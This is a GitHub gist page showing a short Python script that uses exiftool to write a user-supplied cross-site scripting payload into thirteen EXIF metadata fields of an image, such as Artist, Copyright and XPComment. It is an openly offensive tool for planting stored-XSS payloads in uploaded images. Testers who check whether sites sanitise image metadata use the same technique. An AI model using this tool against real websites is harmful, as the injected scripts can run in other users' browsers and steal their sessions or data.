Skip to content

Instantly share code, notes, and snippets.

@krlabs
Forked from hash3liZer/exifxss.py
Created October 6, 2024 15:39
Show Gist options
  • Save krlabs/e6815eb67e909f09d6c3d5c8b2158c41 to your computer and use it in GitHub Desktop.
Save krlabs/e6815eb67e909f09d6c3d5c8b2158c41 to your computer and use it in GitHub Desktop.
Embedding XSS payloads in the Exif Metadata fields of and image
import sys
import subprocess
exifs = [
"ImageDescription",
"Make",
"Model",
"Software",
"Artist",
"Copyright",
"XPTitle",
"XPComment",
"XPAuthor",
"XPSubject",
"Location",
"Description",
"Author"
]
if sys.argv[1] and sys.argv[2]:
image = sys.argv[1]
xss = sys.argv[2]
for exif in exifs:
attribute = "-{0}={1}".format(exif, xss)
subprocess.call(["exiftool", attribute, image])
subprocess.call(["exiftool", image])
else:
print("No source image given")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment